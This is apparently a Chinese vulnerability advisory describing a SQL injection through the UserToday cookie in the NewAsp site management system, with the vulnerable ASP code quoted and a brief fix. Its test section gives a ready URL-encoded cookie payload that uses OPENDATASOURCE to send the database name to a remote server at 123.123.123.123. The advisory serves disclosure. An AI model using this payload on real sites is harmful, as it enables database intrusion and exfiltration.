受影響系統:新云網站管理系統最新版 發現日期:2006年10月中旬 發布日期:2007年6月上旬 安全綜述:新云網站管理系統是一個采用ASP和MSSQL等其他多種數據庫生成靜態頁面構建的高效網站解決方案。
漏洞描述: 先看const.asp的GetUserTodayInfo過程。 Lastlogin = Request.Cookies("newasp_net")("LastTime") UserDayInfo = Request.Cookies("newasp_net")("UserToday") If DateDiff("d",LastLogin,Now())<>0 Then ……………… UserDayInfo = "0,0,0,0,0,0" Response.Cookies("newasp_net")("UserToday") = UserDayInfo end if UserToday = Split(UserDayInfo, ",") If Ubound(UserToday) <> 5 Then ……………… UserDayInfo = "0,0,0,0,0,0" Response.Cookies("newasp_net")("UserToday") = UserDayInfo end if 然后是 Public Function updateUserToday(ByVal str) On Error Resume Next If Trim(str) <> "" Then Newasp.Execute("update [NC_User] SET UserToday='" & str & "' where username='"& Newasp.membername &"' And userid=" & Newasp.memberid) Response.Cookies("newasp_net")("UserToday") = str End If End Function 大家都能看出來。updateUserToday(ByVal str)str沒有經過任何過濾就防進了數據庫。
然后就是 articlepost.asp message.asp softpost.asp upfile.asp upload.asp 這幾個文件對GetUserTodayInfo和updateUserToday過程沒有驗證的直接調用,導致了sql注入
解決方案:過濾UserDayInfo
測試方法:
警 告 以下程序(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!
Sobiny(Bug.Center.Team)提供了如下測試方法:
由于UserDayInfo的格式是 0,0,0,0,0,0每一個字符代表了今天使用的權限,有上傳,有短信。 而每使用一次權限,使用權限的那個一數字就會自加1。 所以在構造語句的時候要注意。 在提交的頁面的過程中。 在當前權限的數量上必須為數字,否則就會發生錯誤。 而且updateUserToday過程On Error Resume Next語句,已經屏蔽了錯誤提示,所以我采用opendatasource遠程數據庫寫入。
以message.asp為例 先發送一條信息抓包,然后修改cookies。 (發送信息代碼的數字為第5個。于是我們在第4個','只后,第5個','之前的字符必須為數字。)
于是我們修改如下cookies: newasp_net=UserToday=0%2c0%2c0%2c0%2c0%2c0
為 newasp_net=UserToday=%27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27 server%3D123%2E123%2E123%2E123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3D admin%27%29%2Eadmin%2Edbo%2Eku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0 然后用NC發包
就會在遠程123.123.123.123服務器上的數據庫寫入當前的庫名。 %27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27server%3D123%2E123%2E123%2E 123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3Dadmin%27%29%2Eadmin%2Edbo%2E ku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0 為 ';insert into opendatasource('sqloledb','server=123.123.123.123;uid=admin;pwd=adminadmin;database=admin').admin.dbo.ku select db_name(0)--,0,0,0,0
|